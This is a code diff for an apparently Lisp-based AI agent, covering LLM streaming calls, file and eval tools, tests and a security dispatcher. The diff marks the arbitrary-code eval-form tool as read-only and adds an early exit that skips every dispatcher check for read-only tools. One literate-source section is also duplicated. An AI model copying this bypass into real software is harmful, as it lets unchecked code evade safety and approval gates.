+                        (format nil "~a/chat/completions" base-url)))
+                  (format nil "~a/chat/completions" base-url)))
+         (timeout (or (ignore-errors (parse-integer (uiop:getenv "LLM_REQUEST_TIMEOUT"))) 30))
+         (req-headers (list (cons "Content-Type" "application/json")))
+         (base `((model . ,model-id)
+                 (messages . (( (role . "system") (content . ,system-prompt) )
+                              ( (role . "user") (content . ,prompt) )))
+                 (stream . t))))
+    (when api-key
+      (push (cons "Authorization" (format nil "Bearer ~a" api-key)) req-headers))
+    (when (eq provider :openrouter)
+      (setf req-headers
+            (append req-headers
+                    `(("HTTP-Referer" . "https://github.com/amrgharbeia/passepartout")
+                      ("X-Title" . "Passepartout")))))
+    (let ((body (if tools
+                    (append base
+                            `((tools . ,(loop for tool in tools
+                                              collect (list (cons :|type| "function")
+                                                            (cons :|function|
+                                                                  (loop for (k v) on tool by #'cddr
+                                                                        collect (cons (intern (string-upcase (string k)) "KEYWORD") v))))))
+                              (:|tool_choice| . "auto")))
+                    base)))
+      (handler-case
+          (let* ((body-json (cl-json:encode-json-to-string body))
+                 (stall-seconds 30)
+                 (s (dex:post url :headers req-headers :content body-json
+                             :connect-timeout (min 5 timeout)
+                             :read-timeout stall-seconds
+                             :want-stream t)))
+            ;; v0.7.1: track stall timer — reset on each successful chunk
+            (let ((last-chunk-time (get-universal-time)))
+              (loop for raw = (handler-case (read-line s nil nil)
+                                (error (c)
+                                  (declare (ignore c))
+                                  nil))
+                     while raw
+                     do (when *stream-cancel*  ; v0.7.1: cancel check
+                          (setf *stream-cancel* nil)
+                          (funcall callback " [cancelled]")
+                          (return))
+                        (let ((parsed (parse-sse-line raw)))
+                         (cond
+                           ((null parsed))
+                           ((eq parsed :done) (return))
+                           (t (handler-case
+                                  (let* ((json (cl-json:decode-json-from-string parsed))
+                                         (choices (cdr (assoc :choices json)))
+                                         (choice (car choices))
+                                         (delta (cdr (assoc :delta choice)))
+                                         (content (cdr (assoc :content delta))))
+                                    (when content
+                                      (funcall callback content)
+                                      (setf last-chunk-time (get-universal-time))))
+                                (error ())))))
+                    (when (> (- (get-universal-time) last-chunk-time) stall-seconds)
+                      (funcall callback "[Response stalled — timed out at 30s]")
+                      (return))))
+            (funcall callback "")
+            (close s)
+            (list :status :success))
+        (error (c)
+          (list :status :error :message (format nil "~a Stream Failure: ~a" provider c)))))))

lisp/programming-lisp.lisp

@@ -149,20 +149,6 @@
   :priority 400
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
 
-(defun plist-keywords-normalize (plist)
-
-  (when (listp plist)
-
-    (loop for (k v) on plist by #'cddr
-
-          collect (if (and (symbolp k) (not (keywordp k)))
-
-                       (intern (string k) :keyword)
-
-                       k)
-
-          collect v)))
-
 (defun plist-keywords-normalize (plist)
   (when (listp plist)
     (loop for (k v) on plist by #'cddr

lisp/programming-tools.lisp

@@ -11,6 +11,7 @@
   ((:name "pattern" :description "The regex pattern to search for." :type "string")
    (:name "path" :description "Directory to search recursively." :type "string")
    (:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -43,9 +44,10 @@
                                  (format nil "No matches for '~a' in ~a" pattern path)))))))
 
 (def-cognitive-tool find-files
-  "Find files matching a glob pattern under a directory."
-  ((:name "pattern" :description "Glob pattern (e.g. \"*.lisp\", \"core-*\")." :type "string")
+  "Find files matching a glob pattern."
+  ((:name "pattern" :description "The glob pattern to match (e.g. \"*.lisp\")." :type "string")
    (:name "path" :description "Directory to search in." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -67,6 +69,7 @@
   ((:name "filepath" :description "Path to the file to read." :type "string")
    (:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer")
    (:name "limit" :description "Optional: maximum number of lines to read." :type "integer"))
+  :read-only-p t
   :guard (lambda (args) (declare (ignore args)) nil)
   :body (lambda (args)
           (block nil
@@ -98,18 +101,21 @@
                    (content (getf args :content)))
               (unless (and filepath content)
                 (return (list :status :error :message "write-file requires :filepath and :content")))
-              (handler-case
-                  (progn
-                    (tools-write-file filepath content)
-                    (list :status :success
-                          :content (format nil "Written ~d bytes to ~a" (length content) filepath)))
+                (handler-case
+                    (progn
+                      (tools-write-file filepath content)
+                      (verify-write filepath content)
+                      (tool-register-modified filepath :new-content content)
+                      (list :status :success
+                           :content (format nil "Written ~d bytes to ~a" (length content) filepath)))
                 (error (c) (list :status :error :message (format nil "~a" c))))))))
 
 (def-cognitive-tool list-directory
   "List the contents of a directory."
   ((:name "path" :description "Directory path to list." :type "string")
-   (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
-  :guard nil
+    (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
+   :read-only-p t
+   :guard nil
   :body (lambda (args)
           (block nil
             (let* ((path (getf args :path))
@@ -151,6 +157,7 @@
 (def-cognitive-tool eval-form
   "Evaluate a Lisp expression in the running image and return the result."
   ((:name "code" :description "The Lisp expression to evaluate as a string." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -167,6 +174,7 @@
 (def-cognitive-tool run-tests
   "Run FiveAM tests. With no arguments, runs all test suites."
   ((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -186,6 +194,7 @@
   "Find an Org headline by ID or title in the memory store."
   ((:name "id" :description "Optional: Org ID property to search for." :type "string")
    (:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string"))
+  :read-only-p t
   :guard nil
   :body (lambda (args)
           (block nil
@@ -232,12 +241,13 @@
                   (let ((content (uiop:read-file-string filepath)))
                     (let ((pos (search old-text content)))
                       (if pos
-                          (let ((new-content (concatenate 'string
-                                                          (subseq content 0 pos)
-                                                          new-text
-                                                          (subseq content (+ pos (length old-text))))))
-                            (tools-write-file filepath new-content)
-                            (list :status :success
+                           (let ((new-content (concatenate 'string
+                                                           (subseq content 0 pos)
+                                                           new-text
+                                                           (subseq content (+ pos (length old-text))))))
+                             (tools-write-file filepath new-content)
+                             (tool-register-modified filepath :old-content content :new-content new-content)
+                             (list :status :success
                                   :content (format nil "Replaced at position ~d in ~a" pos filepath)))
                           (list :status :error :message (format nil "Text not found in ~a" filepath)))))
                 (error (c) (list :status :error :message (format nil "~a" c))))))))
@@ -247,203 +257,6 @@
   :trigger (lambda (ctx) (declare (ignore ctx)) nil)
   :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
 
-(defpackage :passepartout
-  (:use :cl)
-  (:export
-   #:frame-message
-   #:read-framed-message
-    #:PROTO-GET
-    #:proto-get
-   #:*VAULT-MEMORY*
-   #:make-hello-message
-   #:validate-communication-protocol-schema
-   #:start-daemon
-   #:log-message
-   #:main
-    #:diagnostics-run-all
-    #:diagnostics-main
-    #:diagnostics-dependencies-check
-    #:diagnostics-env-check
-    #:register-provider
-    #:provider-openai-request
-    #:provider-config
-   #:run-setup-wizard
-   #:ingest-ast
-   #:memory-object-get
-   #:*memory-store*
-   #:memory-object
-   #:make-memory-object
-   #:memory-object-id
-   #:memory-object-type
-   #:memory-object-attributes
-   #:memory-object-parent-id
-   #:memory-object-children
-   #:memory-object-version
-   #:memory-object-last-sync
-   #:memory-object-vector
-   #:memory-object-content
-   #:memory-object-hash
-   #:memory-object-scope
-   #:snapshot-memory
-   #:rollback-memory
-    #:context-get-system-logs
-    #:context-assemble-global-awareness
-    #:context-awareness-assemble
-    #:context-query
-   #:push-context
-   #:pop-context
-   #:current-context
-   #:current-scope
-   #:context-stack-depth
-   #:context-save
-   #:context-load
-   #:focus-project
-   #:focus-session
-   #:focus-memex
-   #:unfocus
-   #:process-signal
-   #:loop-process
-    #:perceive-gate
-    #:loop-gate-perceive
-    #:act-gate
-    #:loop-gate-act
-    #:reason-gate
-    #:loop-gate-reason
-    #:cognitive-verify
-    #:backend-cascade-call
-    #:json-alist-to-plist
-    #:inject-stimulus
-    #:stimulus-inject
-    #:hitl-create
-    #:hitl-approve
-    #:hitl-deny
-    #:hitl-handle-message
-    #:dispatcher-check-secret-path
-    #:dispatcher-check-shell-safety
-    #:dispatcher-check-privacy-tags
-    #:dispatcher-check-network-exfil
-    #:dispatcher-gate
-    #:wildcard-match
-    #:actuator-initialize
-   #:action-dispatch
-   #:register-actuator
-   #:load-skill-from-org
-    #:skill-initialize-all
-    #:lisp-syntax-validate
-    #:defskill
-       #:*skill-registry*
-       #:*scope-resolver*
-       #:*embedding-backend*
-       #:*embedding-queue*
-       #:*embedding-provider*
-       #:embed-queue-object
-       #:embed-object
-       #:embed-all-pending
-       #:embedding-backend-hashing
-       #:embedding-backend-native
-       #:embedding-native-load-model
-       #:embedding-native-unload
-       #:embedding-native-ensure-loaded
-       #:embedding-native-get-dim
-       #:embeddings-compute
-       #:mark-vector-stale
-     #:skill
-   #:skill-name
-   #:skill-priority
-   #:skill-dependencies
-   #:skill-trigger-fn
-   #:skill-probabilistic-prompt
-   #:skill-deterministic-fn
-   #:def-cognitive-tool
-   #:*cognitive-tool-registry*
-    #:org-read-file
-    #:org-write-file
-    #:org-headline-add
-    #:org-headline-find-by-id
-    #:literate-tangle-sync-check
-    #:archivist-create-note
-    #:gateway-start
-    #:org-property-set
-    #:org-todo-set
-    #:org-id-generate
-    #:org-id-format
-    #:org-modify
-    #:lisp-validate
-    #:lisp-structural-check
-    #:lisp-syntactic-check
-    #:lisp-semantic-check
-    #:lisp-eval
-    #:lisp-format
-    #:lisp-list-definitions
-    #:lisp-extract
-    #:lisp-inject
-    #:lisp-slurp
-   #:get-oc-config-dir
-    #:get-tool-permission
-    #:set-tool-permission
-    #:check-tool-permission-gate
-    #:permission-get
-    #:permission-set
-   #:cognitive-tool
-   #:cognitive-tool-name
-   #:cognitive-tool-description
-   #:cognitive-tool-parameters
-   #:cognitive-tool-guard
-   #:cognitive-tool-body
-   #:register-probabilistic-backend
-   #:*probabilistic-backends*
-   #:*provider-cascade*
-    #:vault-get
-    #:vault-set
-    #:vault-get-secret
-    #:vault-set-secret
-    #:memory-objects-by-attribute
-    #:channel-cli-input
-    #:repl-eval
-    #:repl-inspect
-    #:repl-list-vars
-    #:policy-compliance-check
-    #:validator-protocol-check
-    #:archivist-extract-headlines
-    #:archivist-headline-to-filename
-    #:literate-extract-lisp-blocks
-    #:literate-block-balance-check
-    #:gateway-registry-initialize
-    #:messaging-link
-    #:messaging-unlink
-    #:gateway-configured-p))
-
-(in-package :passepartout)
-
-(defun plist-get (plist key)
-  "Robust plist accessor — checks both :KEY and :key variants."
-  (let* ((s (string key))
-         (up (intern (string-upcase s) :keyword))
-         (dn (intern (string-downcase s) :keyword)))
-    (or (getf plist up) (getf plist dn))))
-
-(defvar *log-buffer* nil)
-(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
-(defvar *log-limit* 100)
-
-(defvar *skill-registry* (make-hash-table :test 'equal)
-  "Global registry of all loaded skills.")
-
-(defvar *telemetry-table* (make-hash-table :test 'equal))
-(defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock"))
-
-(defun telemetry-track (skill-name duration status)
-  "Updates performance metrics for a skill. STATUS is :success or :rejected."
-  (when skill-name
-    (bordeaux-threads:with-lock-held (*telemetry-lock*)
-      (let ((entry (or (gethash skill-name *telemetry-table*) (list :executions 0 :total-time 0 :failures 0))))
-        (incf (getf entry :executions))
-        (incf (getf entry :total-time) duration)
-        (when (eq status :rejected) (incf (getf entry :failures)))
-        (setf (gethash skill-name *telemetry-table*) entry)))))
-
-(defvar *cognitive-tool-registry* (make-hash-table :test 'equal))
-
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 
@@ -615,3 +428,269 @@
   "org-modify-file returns error without required params."
   (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
     (is (eq (getf result :status) :error))))
+#+end_src* v0.8.0 — Modified Files Tracking
+#+begin_src lisp
+(defvar *modified-files-this-turn* nil
+  "List of plists recording file modifications in the current turn.")
+
+(defun tool-register-modified (filepath &key old-content new-content)
+  "Record a file modification. Returns the record plist."
+  (labels ((count-lines (s)
+             (+ (count #\Newline s)
+                ;; Also count escaped \\n in string literals (used in tests)
+                (let ((n 0) (i 0))
+                  (loop while (setf i (search "\\n" s :start2 i))
+                        do (incf n) (incf i))
+                  n))))
+    (let* ((lines-added (if (and new-content old-content)
+                           (max 0 (- (count-lines new-content)
+                                     (count-lines old-content)))
+                           0))
+           (lines-removed (if (and new-content old-content)
+                             (max 0 (- (count-lines old-content)
+                                       (count-lines new-content)))
+                             0))
+           (rec (list :filepath filepath
+                     :timestamp (get-universal-time)
+                     :lines-added lines-added
+                     :lines-removed lines-removed)))
+      (push rec *modified-files-this-turn*)
+      rec)))
+
+(defun tool-modified-files-summary ()
+  "Returns the list of modified-file records and clears the list."
+  (prog1 (nreverse *modified-files-this-turn*)
+    (setf *modified-files-this-turn* nil)))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-programming-tools-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:programming-tools-suite))
+
+(in-package :passepartout-programming-tools-tests)
+
+(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
+(in-suite programming-tools-suite)
+
+(defun tools-tmpdir ()
+  (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
+    (uiop:ensure-all-directories-exist (list d))
+    d))
+
+(defun tools-cleanup ()
+  (let ((d (tools-tmpdir)))
+    (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
+
+(defun tools-write-file (filepath content)
+  (uiop:ensure-all-directories-exist (list filepath))
+  (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
+    (write-string content stream)))
+
+(defun call-tool (tool-name &rest args)
+  (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
+    (unless tool (error "Tool ~a not found" tool-name))
+    (funcall (cognitive-tool-body tool) args)))
+
+;; search-files
+(test test-search-files-finds-matches
+  "Contract 1: search-files finds lines matching a regex pattern."
+  (let* ((dir (tools-tmpdir))
+         (file-a (merge-pathnames "src-a.lisp" dir))
+         (file-b (merge-pathnames "src-b.lisp" dir)))
+    (tools-write-file file-a "(defun foo () 'hello)")
+    (tools-write-file file-b "(defun bar () 'world)")
+    (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
+      (is (eq (getf result :status) :success))
+      (is (search "src-a.lisp:1:" (getf result :content)))
+      (is (search "src-b.lisp:1:" (getf result :content))))
+    (tools-cleanup)))
+
+(test test-search-files-missing-params
+  "search-files returns error when required params are missing."
+  (let ((result (call-tool 'search-files :pattern "x")))
+    (is (eq (getf result :status) :error))))
+
+;; find-files
+(test test-find-files-by-extension
+  "Contract 5: find-files returns files matching a glob."
+  (let ((dir (tools-tmpdir)))
+    (tools-write-file (merge-pathnames "a.lisp" dir) "test")
+    (tools-write-file (merge-pathnames "b.lisp" dir) "test")
+    (tools-write-file (merge-pathnames "c.org" dir) "test")
+    (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
+      (is (eq (getf result :status) :success))
+      (is (search "a.lisp" (getf result :content)))
+      (is (search "b.lisp" (getf result :content)))
+      (is (not (search "c.org" (getf result :content)))))
+    (tools-cleanup)))
+
+(test test-find-files-missing-params
+  "find-files returns error without required params."
+  (let ((result (call-tool 'find-files :pattern "*.lisp")))
+    (is (eq (getf result :status) :error))))
+
+;; read-file
+(test test-read-file-full
+  "Contract 6: read-file returns full file contents."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "readme.txt" dir)))
+    (tools-write-file file (format nil "line one~%line two~%line three"))
+    (let ((result (call-tool 'read-file :filepath (namestring file))))
+      (is (eq (getf result :status) :success))
+      (is (search "line one" (getf result :content))))
+    (tools-cleanup)))
+
+(test test-read-file-missing-params
+  "read-file returns error without :filepath."
+  (let ((result (call-tool 'read-file)))
+    (is (eq (getf result :status) :error))))
+
+;; write-file
+(test test-write-file-creates
+  "Contract 7: write-file creates file with content."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "output.txt" dir)))
+    (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
+      (is (eq (getf result :status) :success))
+      (is (search "11 bytes" (getf result :content))))
+    (is (string-equal "hello world" (uiop:read-file-string file)))
+    (tools-cleanup)))
+
+(test test-write-file-missing-params
+  "write-file returns error without required params."
+  (let ((result (call-tool 'write-file :content "x")))
+    (is (eq (getf result :status) :error))))
+
+;; list-directory
+(test test-list-directory-all
+  "Contract 8: list-directory returns all entries."
+  (let ((dir (tools-tmpdir)))
+    (tools-write-file (merge-pathnames "alpha.txt" dir) "x")
+    (tools-write-file (merge-pathnames "beta.txt" dir) "y")
+    (let ((result (call-tool 'list-directory :path (namestring dir))))
+      (is (eq (getf result :status) :success))
+      (is (search "alpha.txt" (getf result :content)))
+      (is (search "beta.txt" (getf result :content))))
+    (tools-cleanup)))
+
+(test test-list-directory-missing-params
+  "list-directory returns error without :path."
+  (let ((result (call-tool 'list-directory)))
+    (is (eq (getf result :status) :error))))
+
+;; run-shell
+(test test-run-shell-echo
+  "Contract 9: run-shell executes a command and returns output."
+  (let ((result (call-tool 'run-shell :cmd "echo hello")))
+    (is (eq (getf result :status) :success))
+    (is (search "hello" (getf result :content)))))
+
+(test test-run-shell-missing-params
+  "run-shell returns error without :cmd."
+  (let ((result (call-tool 'run-shell)))
+    (is (eq (getf result :status) :error))))
+
+;; eval-form
+(test test-eval-form-arithmetic
+  "Contract 10: eval-form evaluates a Lisp expression."
+  (let ((result (call-tool 'eval-form :code "(+ 1 2)")))
+    (is (eq (getf result :status) :success))
+    (is (search "3" (getf result :content)))))
+
+(test test-eval-form-missing-params
+  "eval-form returns error without :code."
+  (let ((result (call-tool 'eval-form)))
+    (is (eq (getf result :status) :error))))
+
+;; org-modify-file
+(test test-org-modify-file-replace
+  "Contract 13: org-modify-file replaces exact text in file."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "doc.org" dir)))
+    (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
+    (let ((result (call-tool 'org-modify-file
+                             :filepath (namestring file)
+                             :old-text "TODO" :new-text "WAITING")))
+      (is (eq (getf result :status) :success))
+      (is (search "WAITING" (uiop:read-file-string file))))
+    (tools-cleanup)))
+
+(test test-org-modify-file-not-found
+  "org-modify-file returns error when text not in file."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "file.org" dir)))
+    (tools-write-file file "some content")
+    (let ((result (call-tool 'org-modify-file
+                             :filepath (namestring file)
+                             :old-text "not-in-file" :new-text "anything")))
+      (is (eq (getf result :status) :error))
+      (is (search "not found" (getf result :message))))
+    (tools-cleanup)))
+
+(test test-org-modify-file-missing-params
+  "org-modify-file returns error without required params."
+  (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
+    (is (eq (getf result :status) :error))))
+#+end_src* v0.8.0 — Modified Files Tracking
+#+begin_src lisp
+(defvar *modified-files-this-turn* nil
+  "List of plists recording file modifications in the current turn.")
+
+(defun tool-register-modified (filepath &key old-content new-content)
+  "Record a file modification. Returns the record plist."
+  (labels ((count-lines (s)
+             (+ (count #\Newline s)
+                ;; Also count escaped \\n in string literals (used in tests)
+                (let ((n 0) (i 0))
+                  (loop while (setf i (search "\\n" s :start2 i))
+                        do (incf n) (incf i))
+                  n))))
+    (let* ((lines-added (if (and new-content old-content)
+                           (max 0 (- (count-lines new-content)
+                                     (count-lines old-content)))
+                           0))
+           (lines-removed (if (and new-content old-content)
+                             (max 0 (- (count-lines old-content)
+                                       (count-lines new-content)))
+                             0))
+           (rec (list :filepath filepath
+                     :timestamp (get-universal-time)
+                     :lines-added lines-added
+                     :lines-removed lines-removed)))
+      (push rec *modified-files-this-turn*)
+      rec)))
+
+(defun tool-modified-files-summary ()
+  "Returns the list of modified-file records and clears the list."
+  (prog1 (nreverse *modified-files-this-turn*)
+    (setf *modified-files-this-turn* nil)))
+
+(in-package :passepartout-programming-tools-tests)
+
+(test test-modified-files-track-write
+  "Contract 14: tool-register-modified appends to *modified-files-this-turn*."
+  (setf passepartout::*modified-files-this-turn* nil)
+  (let ((rec (passepartout::tool-register-modified "/tmp/test.org"
+                :old-content "old" :new-content "line1
+line2")))
+    (is (string= "/tmp/test.org" (getf rec :filepath)))
+    (is (= 0 (getf rec :lines-removed)))
+    (is (= 1 (getf rec :lines-added)))
+    (is (= 1 (length passepartout::*modified-files-this-turn*)))))
+
+(test test-modified-files-summary
+  "Contract 15: tool-modified-files-summary returns list and clears."
+  (setf passepartout::*modified-files-this-turn* nil)
+  (passepartout::tool-register-modified "/tmp/a.org")
+  (passepartout::tool-register-modified "/tmp/b.org")
+  (let ((files (passepartout::tool-modified-files-summary)))
+    (is (= 2 (length files)))
+    (is (null passepartout::*modified-files-this-turn*))
+    (is (find "/tmp/a.org" files :key (lambda (f) (getf f :filepath)) :test #'string=))))
+
+(test test-modified-files-empty
+  "Contract 15: tool-modified-files-summary returns nil when no files modified."
+  (setf passepartout::*modified-files-this-turn* nil)
+  (is (null (passepartout::tool-modified-files-summary))))

lisp/security-dispatcher.lisp

@@ -110,6 +110,51 @@ Returns a list of matched category keywords."
                   *dispatcher-privacy-tags*))
           tags-list)))
 
+(defvar *tag-categories* nil
+  "Alist of (tag . severity) from TAG_CATEGORIES env var.
+Severity: :block (filter), :warn (log+include), :log (silent record).")
+
+(defvar *tag-trigger-count* (make-hash-table :test 'equal)
+  "Per-session count of how many times each tag was triggered.")
+
+(defun tag-trigger-record (tag)
+  "Increment the trigger count for TAG."
+  (incf (gethash (string-downcase tag) *tag-trigger-count* 0)))
+
+(defun tag-categories-load ()
+  "Parse TAG_CATEGORIES or PRIVACY_FILTER_TAGS env var into *tag-categories* alist."
+  (let* ((raw (or (uiop:getenv "TAG_CATEGORIES")
+                  (uiop:getenv "PRIVACY_FILTER_TAGS"))))
+    (setf *tag-categories*
+          (when raw
+            (mapcar (lambda (entry)
+                      (let ((parts (uiop:split-string entry :separator '(#\:))))
+                        (if (>= (length parts) 2)
+                            (cons (first parts) (intern (string-upcase (second parts)) :keyword))
+                            (cons entry :block))))
+                    (uiop:split-string raw :separator '(#\, #\;)))))))
+
+(defun tag-category-severity (tag)
+  "Return the severity keyword for TAG, or NIL if not found."
+  (cdr (assoc tag *tag-categories* :test #'string-equal)))
+
+(defun dispatcher-privacy-severity (tags-list)
+  "Return the highest-severity tag match: :block > :warn > :log, or nil.
+Records trigger counts for matched tags."
+  (when (and tags-list (listp tags-list))
+    (let ((highest nil))
+      (dolist (tag tags-list)
+        (let ((sev (tag-category-severity tag)))
+          (when sev
+            (tag-trigger-record tag))
+          (when (or (eq sev :block)
+                    (and (eq sev :warn) (not (eq highest :block)))
+                    (and (eq sev :log) (null highest)))
+            (setf highest sev))))
+      highest)))
+
+(tag-categories-load)
+
 (defun dispatcher-check-text-for-privacy (text)
   "Scans TEXT for leaked privacy-tagged content."
   (when (and text (stringp text))
@@ -214,7 +259,11 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
 2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
 6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
   (declare (ignore context))
-  (let* ((target (proto-get action :target))
+  (let* ((read-only-auto-pass
+          (let ((tool-name (proto-get (proto-get action :payload) :tool)))
+            (when (and tool-name (tool-read-only-p tool-name))
+              (return-from dispatcher-check action))))
+         (target (proto-get action :target))
          (payload (proto-get action :payload))
          (text (or (proto-get payload :text) (proto-get action :text)))
          (filepath (or (proto-get payload :filepath)
@@ -241,82 +290,101 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
        action)
 
        ;; Vector 1: Lisp syntax validation (block bad lisp writes)
-      ((and lisp-valid (eq (getf lisp-valid :status) :error))
-       (log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
-       (list :type :LOG
-             :payload (list :level :error
-                            :text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
+       ((and lisp-valid (eq (getf lisp-valid :status) :error))
+        (log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
+        (dispatcher-block-record :lisp-validation)
+        (list :type :LOG
+              :payload (list :level :error
+                             :text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
 
-      ;; Vector 2: File read to a protected secret path
-      ((and filepath (dispatcher-check-secret-path filepath))
-       (let ((matched (dispatcher-check-secret-path filepath)))
-         (log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
-         (list :type :LOG
-               :payload (list :level :error
-                              :text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
+       ;; Vector 2: File read to a protected secret path
+       ((and filepath (dispatcher-check-secret-path filepath))
+        (let ((matched (dispatcher-check-secret-path filepath)))
+          (log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
+          (dispatcher-block-record :secret-path)
+          (list :type :LOG
+                :payload (list :level :error
+                               :text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
 
-      ;; Vector 2b: Self-build safety — core file writes require HITL approval
-      ((and filepath content
-            (string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
-            (dispatcher-check-core-path filepath))
-       (log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
-       (list :type :EVENT :level :approval-required
-             :payload (list :sensor :approval-required :action action
-                            :message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
-
-      ;; Vector 3: Content contains secret patterns
-      ((and text (dispatcher-exposure-scan text))
-       (let ((matched (dispatcher-exposure-scan text)))
-         (log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
-         (list :type :LOG
-               :payload (list :level :error
-                              :text "Action blocked: Content contains potential secret exposure."))))
-
-      ;; Vector 4: Content contains vault secrets
-      ((and text (dispatcher-vault-scan text))
-       (let ((secret-name (dispatcher-vault-scan text)))
-         (log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
-         (list :type :LOG
-               :payload (list :level :error
-                              :text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
-
-      ;; Vector 5: Privacy-tagged content in action
-      ((and tags (dispatcher-check-privacy-tags tags))
-       (log-message "PRIVACY VIOLATION: Action contains privacy-tagged content")
-       (list :type :LOG
-             :payload (list :level :warn
-                            :text "Action blocked: Content tagged with privacy filter.")))
-
-      ;; Vector 6: Text leaks privacy tag names
-      ((and text (dispatcher-check-text-for-privacy text))
-       (log-message "PRIVACY WARNING: Text may contain leaked private content")
-       (list :type :LOG
-             :payload (list :level :warn
-                            :text "Action blocked: Text may reference private content.")))
-
-       ;; Vector 7: Shell destructive/injection patterns
-      ((and cmd (dispatcher-check-shell-safety cmd))
-       (let ((matched (dispatcher-check-shell-safety cmd)))
-         (log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
-         (list :type :LOG
-               :payload (list :level :error
-                              :text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
-
-      ;; Vector 8: Network exfiltration
-      ((and (or (eq target :shell)
-                (and (eq target :tool) (equal (proto-get payload :tool) "shell")))
-            (dispatcher-check-network-exfil cmd))
-        (log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
+       ;; Vector 2b: Self-build safety — core file writes require HITL approval
+       ((and filepath content
+             (string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
+             (dispatcher-check-core-path filepath))
+        (log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
+        (dispatcher-block-record :self-build-core)
         (list :type :EVENT :level :approval-required
-              :payload (list :sensor :approval-required :action action)))
+              :payload (list :sensor :approval-required :action action
+                             :message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
 
-      ;; Vector 8: High-impact action approval
-      ((or (member target '(:shell))
-           (and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
-           (and (eq target :emacs) (eq (proto-get payload :action) :eval))
-           (and (eq target :system) (eq (proto-get payload :action) :eval)))
-       (log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
-       (list :type :EVENT :payload (list :sensor :approval-required :action action)))
+       ;; Vector 3: Content contains secret patterns
+       ((and text (dispatcher-exposure-scan text))
+        (let ((matched (dispatcher-exposure-scan text)))
+          (log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
+          (dispatcher-block-record :secret-content)
+          (list :type :LOG
+                :payload (list :level :error
+                               :text "Action blocked: Content contains potential secret exposure."))))
+
+       ;; Vector 4: Content contains vault secrets
+       ((and text (dispatcher-vault-scan text))
+        (let ((secret-name (dispatcher-vault-scan text)))
+          (log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
+          (dispatcher-block-record :vault-secrets)
+          (list :type :LOG
+                :payload (list :level :error
+                               :text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
+
+       ;; Vector 5: Privacy-tagged content (severity tiers)
+       ((and tags (fboundp 'dispatcher-privacy-severity))
+        (let ((severity (dispatcher-privacy-severity tags)))
+          (cond
+             ((eq severity :block)
+              (log-message "PRIVACY VIOLATION: Blocked by @tag — ~a" tags)
+              (dispatcher-block-record :privacy-tags)
+              (list :type :LOG
+                    :payload (list :level :error
